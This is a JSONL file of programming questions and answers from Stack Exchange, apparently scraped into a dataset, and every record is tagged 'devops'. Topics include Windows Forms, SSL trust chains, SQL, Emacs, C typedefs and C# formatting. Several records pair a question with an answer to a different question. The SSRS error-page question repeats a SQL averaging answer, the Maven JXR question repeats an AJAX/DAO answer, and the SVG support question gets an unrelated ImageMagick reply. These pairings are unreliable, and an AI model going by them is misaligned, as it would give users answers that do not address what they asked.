{"id": "hf_9d3b68d8bc51", "question": "<p>Does anyone have any info on creating/drawing a customised ListView object?</p>\n\n<p>Currently Im working on a project that requires a customised look and feel within the application. I am using a standard (Windows.Forms) ListView which is not in the same style as the rest of the GUI. We are NOT using a toolbox for custom controls, all controlls are 'skinned' inhouse as it were by overriding hte OnPaint() method for each control.</p>\n\n<p>What Im looking for is:\n- Information about how to handle drawing of the Scroll Bar.\n- How to use customised drawing routines to handle the column headers.\n- How to still handle the data shown and draw that correctly.</p>\n\n<p>Any and all help would be greatly received.</p>\n", "question_body": "", "answer": "From what I can tell you will need to actually make some Win32 calls using\n```\nNM_CUSTOMDRAW\n```\nto actually change the paint behavior of the control.\nHere is one\narticle I found.  You are going to have to do a bit more digging.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.656635"}
{"id": "hf_40e9e79b4798", "question": "<p>What is the series of steps needed to securely verify a ssl certificate?  My (very limited) understanding is that when you visit an https site, the server sends a certificate to the client (the browser) and the browser gets the certificate's issuer information from that certificate, then uses that to contact the issuerer, and somehow compares certificates for validity.  </p>\n\n<ul>\n<li>How exactly is this done? </li>\n<li>What about the process makes it immune to man-in-the-middle attacks?</li>\n<li>What prevents some random person from setting up their own verification service to use in man-in-the-middle attacks, so everything \"looks\" secure?</li>\n</ul>\n", "question_body": "", "answer": "The client has a pre-seeded store of SSL certificate authorities' public keys. There must be a chain of trust from the certificate for the server up through intermediate authorities up to one of the so-called \"root\" certificates in order for the server to be trusted.\nYou can examine and/or alter the list of trusted authorities. Often you do this to add a certificate for a local authority that you know you trust - like the company you work for or the school you attend or what not.\nThe pre-seeded list can vary depending on which client you use. The big SSL certificate vendors insure that their root certs are in all the major browsers ($$$).\nMonkey-in-the-middle attacks are \"impossible\" unless the attacker has the private key of a trusted root certificate. Since the corresponding certificates are widely deployed, the exposure of such a private key would have serious implications for the security of eCommerce generally. Because of that, those private keys are very, very closely guarded.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.714891"}
{"id": "hf_25589e450519", "question": "<p>I've created a language pack for a site before, but I'm not sure if what I'm doing is the best method.</p>\n\n<p>Basically, all I have is a file with variables defining string constants.  Usually a set of arrays where an array usually refers to a particular elements of the site.</p>\n\n<p>Then the site code just includes the appropriate file based on a flag and then echo's out the appropriate array element. </p>\n\n<p>What are some ways of doing this to reduce maintenance headaches and performance?</p>\n", "question_body": "", "answer": "A couple of the most common ways to do this are:\n1) Use\n```\ndefine('SOME_STRING', 'Some string');\n```\n- simply have a different file stuffed with these defines for each language.  This is very easy, and you don't have to use \"global\" all over the place.\n2) Wrap strings in a function:\n```\ntranslate('My String')\n```\n- this is more flexible as you can parse your code to create lists of strings to translate, and add in features like variables, e.g.\n```\ntranslate('I can count to [number]', 10);\n```\n(of course, you normally pick a shorter function name, like \"_\")", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.904763"}
{"id": "hf_27e296143cd2", "question": "<p>I am trying to run a query that will give time averages but when I do... some duplicate records are in the calculation.  how can I remove duplicates?</p>\n\n<p>ex.</p>\n\n<p>Column 1   /    07-5794 /    07-5794  /   07-5766 /  07-8423   /   07-4259</p>\n\n<p>Column 2   /    00:59:59  /  00:48:22 /    00:42:48/   00:51:47  /  00:52:12</p>\n\n<p>I can get the average of the column 2 but I don't want identical values in column 1 to be calculated twice (07-5794) ???</p>\n", "question_body": "", "answer": "To get the average of the minimum values for each incnum, you could write this SQL\n```\n```\nselect avg(min_time) as avg_time from\n    (select incnum, min(col2) as min_time from inc group by incnum)\n```\n```\nusing the correct average function for your brand of SQL.\nIf you're doing this in Access, you'll want to paste this into the SQL view; when you use a subquery, you can't do that directly in design view.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.926363"}
{"id": "hf_5c4df7e05cbf", "question": "<p>I'd like to re-brand (and send error emails) for all of the SSRS default error pages (picture below) when you access reports via /ReportServer/.  I'm already handling the ASP OnError event and <em>some</em> of the default SSRS errors appear to catch their own exceptions and then render this page cancel the response all before the OnError event is ever fired.</p>\n\n<p>Any idea on how I can get a handle into SSRS to brand all error pages?</p>\n\n<p><img src=\"https://www.jazz2online.com/junk/reporting_error.gif\" alt=\"Reporting Services Error\"></p>\n", "question_body": "", "answer": "To get the average of the minimum values for each incnum, you could write this SQL\n```\n```\nselect avg(min_time) as avg_time from\n    (select incnum, min(col2) as min_time from inc group by incnum)\n```\n```\nusing the correct average function for your brand of SQL.\nIf you're doing this in Access, you'll want to paste this into the SQL view; when you use a subquery, you can't do that directly in design view.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.947315"}
{"id": "hf_e5afd236af83", "question": "<p>I'd like to call methods of my DAOs by AJAX. I'm quite new in that so I would like to ask what is the best way to do that. Is it possible to publish my beans as web services and call them with e.g. jQuery? I think it is not possible :) I've also read about Direct Web Remoting but I don't know which way to go... </p>\n\n<p>As I see, there are lot of experienced guys here so I think you can show me direction.. thanks in advance</p>\n", "question_body": "", "answer": "You have to expose your DAO's or beans by means of http. Typically you create a layer above the DAO layer to expose your services through HTTP, which are available to any AJAX framework such as jQuery. What jQuery and other frameworks ends up doing is using a special asynchronous request called XMLHttpRequest and then parse the server response (can be anything, pure HTML, JSON, XML, etc) and process it.\nHere's a link I found that shows Spring & DWR with AJAX:\nBram Smeets Blog\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.991493"}
{"id": "hf_8ee17750d15d", "question": "<p>I'm using the build-helper-maven-plugin to add it to my build, but I'd\nlike to see the XREF source for this extra source directory as well.</p>\n\n<p>FYI:</p>\n\n<p><a href=\"http://maven.apache.org/plugins/maven-jxr-plugin/index.html\" rel=\"nofollow noreferrer\">maven-jxr-plugin</a> - The JXR plugin produces a cross-reference of the project's sources. The generated reports make it easier for the user to reference or find specific lines of code. It is also handy when used with the PMD plugin for referencing errors found in the code.</p>\n\n<p><a href=\"http://mojo.codehaus.org/build-helper-maven-plugin/index.html\" rel=\"nofollow noreferrer\">build-helper-maven-plugin</a> - This plugin contains various small independent goals to assist with Maven build lifecycle.</p>\n", "question_body": "", "answer": "You have to expose your DAO's or beans by means of http. Typically you create a layer above the DAO layer to expose your services through HTTP, which are available to any AJAX framework such as jQuery. What jQuery and other frameworks ends up doing is using a special asynchronous request called XMLHttpRequest and then parse the server response (can be anything, pure HTML, JSON, XML, etc) and process it.\nHere's a link I found that shows Spring & DWR with AJAX:\nBram Smeets Blog\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.015235"}
{"id": "hf_c3c214ad0b13", "question": "<p>I have used the XML Parser before, and even though it worked OK, I wasn't happy with it in general, it felt like I was using workarounds for things that should be basic functionality.</p>\n\n<p>I recently saw SimpleXML but I haven't tried it yet. Is it any simpler? What advantages and disadvantages do both have? Any other parsers you've used?</p>\n", "question_body": "", "answer": "I would have to say\nSimpleXML\ntakes the cake because it is firstly an extension, written in C, and is very fast.  But second, the parsed document takes the form of a PHP object.  So you can \"query\" like\n```\n$root->myElement\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.043726"}
{"id": "hf_166b51c9cfd4", "question": "<p>What are the maximum allowed number of columns in a query in access 2003?</p>\n", "question_body": "", "answer": "As a general rule, if you ever find yourself asking a question about the maximum hardcoded limit of a technology, it's time to step back and verify that you're taking the right approach.  Perhaps a query against access that's pulling in hundreds or thousands of columns isn't the right approach.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.129868"}
{"id": "hf_d25f56e4b67b", "question": "<p>The problem is following: I want to automate the way my emacs starts.\nIt has to be split in two buffers and the slime-repl has to be started in the smallest (bottom) buffer. Plus, I want my file to be opened in the bigger (upper) buffer.\nIn my .emacs there are lines:</p>\n\n<pre><code>(slime)\n...\n(split-window-vertically -6)\n(switch-to-buffer (other-buffer))\n(find-file \"g:/Private/pa/pa2.lsp\")\n</code></pre>\n\n<p>SLIME opens o.k. in the bottom buffer, but the file is opened in one of the background buffers, while I want it to be in front.</p>\n\n<p>How to fix this?</p>\n", "question_body": "", "answer": "Try:\n```\n```\n(other-window 1)\n(find-file \"g:/Private/pa/pa2.lsp\")\n```\n```\ninstead of your last two lines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.186715"}
{"id": "hf_15c3024cbd89", "question": "<p>I have a string \"1112224444' it is a telephone number. I want to format as 111-222-4444 before I store it in a file. It is on a datarecord and I would prefer to be able to do this without assigning a new variable.</p>\n\n<p>I was thinking:</p>\n\n<pre><code>String.Format(\"{0:###-###-####}\", i[\"MyPhone\"].ToString() );\n</code></pre>\n\n<p>but that does not seem to do the trick.</p>\n\n<p>** UPDATE **</p>\n\n<p>Ok. I went with this solution</p>\n\n<pre><code>Convert.ToInt64(i[\"Customer Phone\"]).ToString(\"###-###-#### ####\")\n</code></pre>\n\n<p>Now its gets messed up when the extension is less than 4 digits. It will fill in the numbers from the right. so</p>\n\n<pre><code>1112224444 333  becomes\n\n11-221-244 3334\n</code></pre>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "As far as I know you can't do this with string.Format ... you would have to handle this yourself.  You could just strip out all non-numeric characters and then do something like:\n```\n```\nstring.Format(\"({0}) {1}-{2}\",\n     phoneNumber.Substring(0, 3),\n     phoneNumber.Substring(3, 3),\n     phoneNumber.Substring(6));\n```\n```\nThis assumes the data has been entered correctly, which you could use regular expressions to validate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.242388"}
{"id": "hf_f67567c9c14e", "question": "<p>I want to make sure that a set of functions have the same signature in some C code. Ideally I would be able to define a new type that described the return value and arguments of a function and then declare my set of functions using this new type. </p>\n\n<p>Additionally, is there a way to specify default values for the arguments to this function typedef?</p>\n", "question_body": "", "answer": "```\n```\n/* define a typedef for function_t - functions that return void */\n/*      and take an  int and char parameter */\n\ntypedef void function_t( int param1, char param2);\n\n/* declare some functions that use that signature */\n\nfunction_t foo;\nfunction_t bar;\n```\n```\nNow when you define the functions there will be an error if they do not use the same signature as in the typedef.\n```\n```\nvoid foo( int x, char c)\n{\n    /* do some stuff */\n\n    return;\n}\n\n/* this will result in a compiler error */\nint bar( int x, char c)\n{\n    /* do some stuff */\n\n    return 1;\n}\n```\n```\nAs for your new question (added 20 Oct 08): \"Additionally, is there a way to specify default values for the arguments to this function typedef?\"\nNo, there's no way to add default parameters to the typedef. Certainly not in C, which doesn't support default parameters at all.  Even in C++ you can't do this because the default value of a parameter is not part of the type.  In fact, a class that overrides a virtual method from a base class can specify a different value for a default parameter (or even remove the default altogether) - however, this is something that should not be done in general as it will simply cause confusion (\nhttp://www.gotw.ca/gotw/005.htm\n).\nIf you're using C++ you might be able to get the behavior you want using one of (or a combination of) the following:\nabstract base classes\noverloading\ntemplate functions\nmacros\nBut it would be difficult to suggest something without knowing more specifics about exactly what you're trying to accomplish. And I think it's likely that the result might well be pretty hacky.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.275511"}
{"id": "hf_259963e2a547", "question": "<p>Is it possible for Eclipse to read stdin from a file?</p>\n", "question_body": "", "answer": "Pure Java\nYou can redirect System.in with a single line of code:\n```\n```\nSystem.setIn(new FileInputStream(filename));\n```\n```\nSee\nSystem.setIn()\n.\nEclipse config\nIn Eclipse 4.5 or later, the launch configuration dialog can set System.in to read from a file. See\nthe announcement here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.310392"}
{"id": "hf_9206c7e60e3c", "question": "<p>I have an object of class F.  I want to output the contents of the object using Console.WriteLine for quick and dirty status updates like this:</p>\n\n<p>Console.WriteLine(objectF);</p>\n\n<p>This prints out only the name of the class to the console:</p>\n\n<pre><code>F\n</code></pre>\n\n<p>I want to overload this somehow so that I can instead print out some useful information about the object and its properties.</p>\n\n<p>I have a workaround already:  To overload the ToString method in my class and then call:\nConsole.WriteLine(objectF.ToString());</p>\n\n<p>But I would rather have the simpler syntax.  Any ideas?</p>\n", "question_body": "", "answer": "Console.WriteLine(objectF)\nShould work, if you overloaded\n```\nToString\n```\n. When the framework needs to convert an object to a string representation, it invokes\n```\nToString\n```\n.\n```\n```\npublic override string ToString()\n{\n    // replace the line below with your code\n    return base.ToString();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.407392"}
{"id": "hf_def9efab37d7", "question": "<p>How can I tell if an assembly is in use by any process?</p>\n", "question_body": "", "answer": "If you want to know if your application has loaded the assembly, you can inspect the AppDomain for loaded assemblies. If you want to know if the assembly is loaded by\nany\nprocess on the machine, it gets a little bit trickier. Which of the above do you need ?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.457525"}
{"id": "hf_515cc29fc97f", "question": "<p>I'm trying to find a way to force Windows to reboot, and I am running into issues.  I've tried  </p>\n\n<p><pre><code><code>Set OpSysSet = GetObject(\"winmgmts:{authenticationlevel=Pkt,\" _\n     &amp; \"(Shutdown)}\").ExecQuery(\"select * from Win32_OperatingSystem where \"_\n     &amp; \"Primary=true\")\nfor each OpSys in OpSysSet\n    retVal = OpSys.Reboot()\nnext</code></pre></code></p>\n\n<p>I've also tried using the <code>shutdown -f -r</code> command, and in both cases I sometimes get no response, and if I try again I get an error saying \"Action could not complete because the system is shutting down\" even though no matter how long I leave it it doesn't shut down, it still allows me to start new programs, and doing a <code>shutdown -a</code> gives the same error.  How can a script be used to force Windows to reboot?</p>\n", "question_body": "", "answer": "Well, this uses VBScript -- although truthfully it invokes the same command line shutdown that you're trying to do.  I've tested it and it works.\n```\n```\nDim oShell \nSet oShell = CreateObject(\"WScript.Shell\")\n\n'restart, wait 5 seconds, force running apps to close\noShell.Run \"%comspec% /c shutdown /r /t 5 /f\", , TRUE\n```\n```\nWhat OS are you running against?  This test was against XP.  I wonder if the server OS requires a shutdown code...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.489645"}
{"id": "hf_a4e1eb714489", "question": "<p>I normally don't work on Windows development, and am completely unfamiliar with the toolchain and build system. My embedded product includes some Windows DLLs from a third party in its filesystem (which are used by a Windows machine which mounts the filesystem).</p>\n\n<p>I have a problem: the most recent release of these DLLs have tripled in size compared to previous builds, and they no longer fit in the filesystem. There have not been many changes in the functionality of the DLLs, so I suspect the developers simply forgot to strip debug symbols in this drop. I will ask them, but getting an answer often takes days due to timezone and language differences.</p>\n\n<p>Could someone explain, using simple steps for someone unfamiliar with VisualC, how to determine if a DLL still contains debugging information and how to strip it out?</p>\n", "question_body": "", "answer": "Generally the debug info itself is built as a separate\n```\n*.pdb\n```\nfile (Program DataBase), instead of being appended onto the binary as in unix. If the developers did indeed build a debug version of the library, a more serious problem might be that of dependencies. If a release version of a binary links to\n```\nMSVCRT.DLL\n```\n, then the debug build would link to\n```\nMSVCRTD.DLL\n```\n(other runtime libraries are similarly named with the D suffix). To find the dependencies for a particular binary, try:\n```\n```\ndumpbin /imports whatever.dll\n```\n```\nThis will show all the runtime dependencies for the library\n```\nwhatever.dll\n```\n(note that both library names and symbols from those libraries are listed). If you do not see the list of dependencies you expect, there is probably a problem that can only be fixed by having the original developer rebuild the library in the proper build mode.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.513132"}
{"id": "hf_cddf76eedab1", "question": "<p>Is there a way to change the way asp.net generates elements in the WSDL generated from a .asmx file?  Specifically, it seems to mark all elements minoccurs=\"0\" and there are some elements that I want to be minoccurs=\"1\" (aka required fields). </p>\n\n<p>One of these is an argument to the web service (e.g.  foo(arg1, arg2) where I want arg2 to be generated in the WSDL as minoccurs=\"1\") the other is a particular field in the class that corresponds to arg1.  Do I have to forego auto WSDL generation and take a \"contract first\" approach?</p>\n", "question_body": "", "answer": "I think that the\n```\nXmlElement(IsNullable = true)\n```\nattribute will do the job:\n```\n```\nusing System.Xml.Serialization;\n\n[WebMethod]\npublic string MyService([XmlElement(IsNullable = true)] string arg)\n{\n  return \"1\";\n}\n```\n```\nEDIT [VB version]\n```\n```\nImports System.Xml.Serialization\n\nPublic Function MyService(<XmlElement(IsNullable:=True)> ByVal arg As String) As String\n  Return (\"1\")\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.598977"}
{"id": "hf_ad1496146f6d", "question": "<p>I want to write something that acts just like confirm() in javascript, but I want to write it myself so I can skin the dialog box.  In having trouble thinking through how I would basically force the javascript thread to wait until the user responds and then return true or false.</p>\n", "question_body": "", "answer": "If I were you, I would look at one of the popular javascript libraries.  Most contain some sort of modal dialog.\nA couple I found for JQuery are\njqModal\nand\nSimpleModal\n.\nWhen you build the modal dialog, you will have to tie events to the buttons, so you would do something like:\n```\n```\nfunction askUserYesOrNo() {\n  var myDialog = $('<div class=\"mydialog\"><p>Yes or No?</p><input type=\"button\" id=\"yes\" value=\"Yes\"/><input type=\"button\" id=\"no\" value=\"No\"/></div>');\n  $(\"#yes\").click(handleYes);\n  $(\"#no\").click(handleNo);\n  myDialog.modal(); //This would have to be replaced by whatever syntax the modal framework uses\n}\n\nfunction handleYes() {\n  //handle yes...\n}\n\nfunction handleNo() {\n  //handle no...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.633204"}
{"id": "hf_6730de5d0b5e", "question": "<p>Looking for an answer for C# and C++. (in C#, replace 'destructor' with 'finalizer')</p>\n", "question_body": "", "answer": "It does for C# (see code below) but not for C++.\n```\n```\nusing System;\n\nclass Test\n{\n    Test()\n    {\n        throw new Exception();\n    }\n\n    ~Test()\n    {\n        Console.WriteLine(\"Finalized\");\n    }\n\n    static void Main()\n    {\n        try\n        {\n            new Test();\n        }\n        catch {}\n        GC.Collect();\n        GC.WaitForPendingFinalizers();\n    }\n}\n```\n```\nThis prints \"Finalized\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.673060"}
{"id": "hf_fe256b4edf06", "question": "<p>I'm just learning about SVG, and it seems great but I'm not sure about browser support - have people successfully got around this, or is it still too early?</p>\n", "question_body": "", "answer": "I'd say your best bet is to create the image in whatever format you're most comfortable with, then convert it to SVG with something like ImageMagick.  You could write PostScript by hand or with a library, or directly create the image from simple text/shape primitives using the ImageMagick API.  There's pretty good documentation, and you can call ImageMagick as a COM object (assuming your language has good COM support).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.718748"}
{"id": "hf_68c52a86d09a", "question": "<p>What I'm trying to do is encode a gif file, to include in an XML document.\nThis is what I have now, but it doesn't seem to work.</p>\n\n<pre><code>Function gifToBase64(strGifFilename)\n On Error Resume Next\n Dim strBase64\n Set inputStream = WScript.CreateObject(\"ADODB.Stream\")\n inputStream.LoadFromFile strGifFilename\n strBase64 = inputStream.Text\n Set inputStream = Nothing\n gifToBase64 = strBase64\nEnd Function\n</code></pre>\n", "question_body": "", "answer": "Take a look here:\nBase64 Encode & Decode Files with VBScript\n. This example relies on the free\nXBase64 component\nand merely provides a wrapper for file handling.\nYou can also go for a\npure VBScript implementation\n, but here you have to care for the file handling yourself. Should not be too difficult, but encoding performance will be not as good. For a few small image files it will be enough, though.\nGoogle will turn up more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.806951"}
{"id": "hf_582691743f43", "question": "<p>Whenever I'm at a break point in a certain C#.NET application in Visual Studio 2008 and I fire up Microsoft Word 2007, word will fail to open until I restart the C# application. I have a few theories about why, but does anyone know for sure?</p>\n", "question_body": "", "answer": "A common cause of such hangs is (or used to be) an application that sent a broadcast Windows message on startup and expected a response from every window. If you've got a GUI application open in a debugger, then it won't be replying to Windows messages and so the sending application will hang waiting for a response. I recall the most common types of programs that used this technique were installer programs.\nI don't know whether Word 2007 sends any broadcast messages, but that's only one way this might happen. There are a myriad ways that COM/OLE stuff can get hung up, and this probably seems more likely for Word.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.837047"}
{"id": "hf_edb43715baf3", "question": "<p>I have a Winform application built with C# and .Net 2.0. I have a textbox set with the MultiLine property.</p>\n\n<p>The problem is when someone writes text with multiple lines (press few enters), presses the save button, and then closes and loads the form again, all the new lines disappear (the text is there at least).</p>\n\n<p>For example, if the textbox had this in it:</p>\n\n<pre><code>Line1\n\nLine3\n</code></pre>\n\n<p>It will look like this after I save and load:</p>\n\n<pre><code>Line1 Line3\n</code></pre>\n\n<p>Any idea why?</p>\n\n<p><strong>Update</strong></p>\n\n<p>The database is PostGres and when I use PGAdmin I can see all the line AND the \"enters\". So the persistence seem to have save all the line... the problem seem to be when I put back the string in the Textbox.</p>\n", "question_body": "", "answer": "If I recall correctly, the textbox is really a string array.\nI think you can do this:\n```\n```\ntextBox1.Lines = foo.Split(new String[] {\"\\n\"},StringSplitOptions.RemoveEmptyEntries);\n```\n```\nEdit again: If you want to keep the blank lines, the change to StringSplitOptions.None", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.866063"}
{"id": "hf_749c9b538ea5", "question": "<p>Modules or software solutions for generating English pronounceable passwords?</p>\n\n<p>Are there similar modules for other languages?</p>\n\n<p>-Adam</p>\n", "question_body": "", "answer": "You'll want to investigate the\nMarkov chain method\n. Here's an example:\nhttp://www.multicians.org/thvv/gpw.html\nand here are some auto-generated passwords:\nhttp://www.manic.org/new/pw/pron.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:17.930713"}
{"id": "hf_6c15a69962d5", "question": "<p>IIS is literally sending <code>&lt;?php ... ?&gt;</code> code to the browser rather then executing it.</p>\n\n<p>But, only for the root <code>http://domain.com/index.php</code> file.</p>\n\n<p>All other .php files in that folder and index.php files in subfolders execute as expected.</p>\n\n<p>How can I get my root index.php code to execute?</p>\n\n<hr>\n\n<p>Update:  \"index.php\" is a Default Document of my Web Site...</p>\n\n<p><a href=\"http://img412.imageshack.us/img412/4130/defaultdocumentmt9.gif\" rel=\"nofollow noreferrer\">alt text http://img412.imageshack.us/img412/4130/defaultdocumentmt9.gif</a></p>\n", "question_body": "", "answer": "It seems you have properly configured your handlers.\nIf you're using\n```\n<? ... ?>\n```\nmake sure you have\n```\nshort_open_tag = On\n```\nin your php.ini.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.002437"}
{"id": "hf_6c3f037ef130", "question": "<p>So C# now allows you to use <code>default(Foo)</code> to get a recognized \"not filled in yet\"/empty instance of a class -- I'm not sure if it is exactly the same as <code>new Foo()</code> or not.  Many library classes also implement a <code>Foo.Empty</code> property, which returns a similar instance.  And of course any reference type can point to <code>null</code>.  So really, what's the difference?  When is one right or wrong?  What's more consistent, or performs better?  What tests should I use when checking if an object is conceptually \"not ready for prime time\"?  Not everybody has <code>Foo.IsNullOrEmpty()</code>.</p>\n", "question_body": "", "answer": "```\ndefault(Foo)\n```\nworks for both value types and reference types.\n```\nNew Foo(), null\n```\nand\n```\nFoo.Empty()\n```\ndo not.  This makes it a good choice for use with generic types, for example, when you may not know which you're dealing with.  But in most reference-type cases,\n```\nnull\n```\nis probably good enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.035248"}
{"id": "hf_559d90779e64", "question": "<p>What tools are available for creating in process COM servers in Java?</p>\n", "question_body": "", "answer": "J-Integra\nis the most comprehensive, complete solution you will probably find for using COM and Java together. The software has been used by many commercial products, big and small, to integrate COM and Java (both directions).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.069784"}
{"id": "hf_f97522de4348", "question": "<p>After my <code>form.Form</code> validates the user input values I pass them to a separate (external) process for further processing. This external process can potentially find further errors in the values.</p>\n\n<p>Is there a way to inject these errors into the already validated form so they can be displayed via the usual form error display methods (or are there better alternative approaches)?</p>\n\n<p>One suggestions was to include the external processing in the form validation, which is not ideal because the external process does a lot more than merely validate.</p>\n", "question_body": "", "answer": "You can add additional error details to the form's\n```\n_errors\n```\nattribute directly:\nhttps://docs.djangoproject.com/en/1.5/ref/forms/validation/#described-later\nhttps://docs.djangoproject.com/en/1.6/ref/forms/validation/#modifying-field-errors", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.093114"}
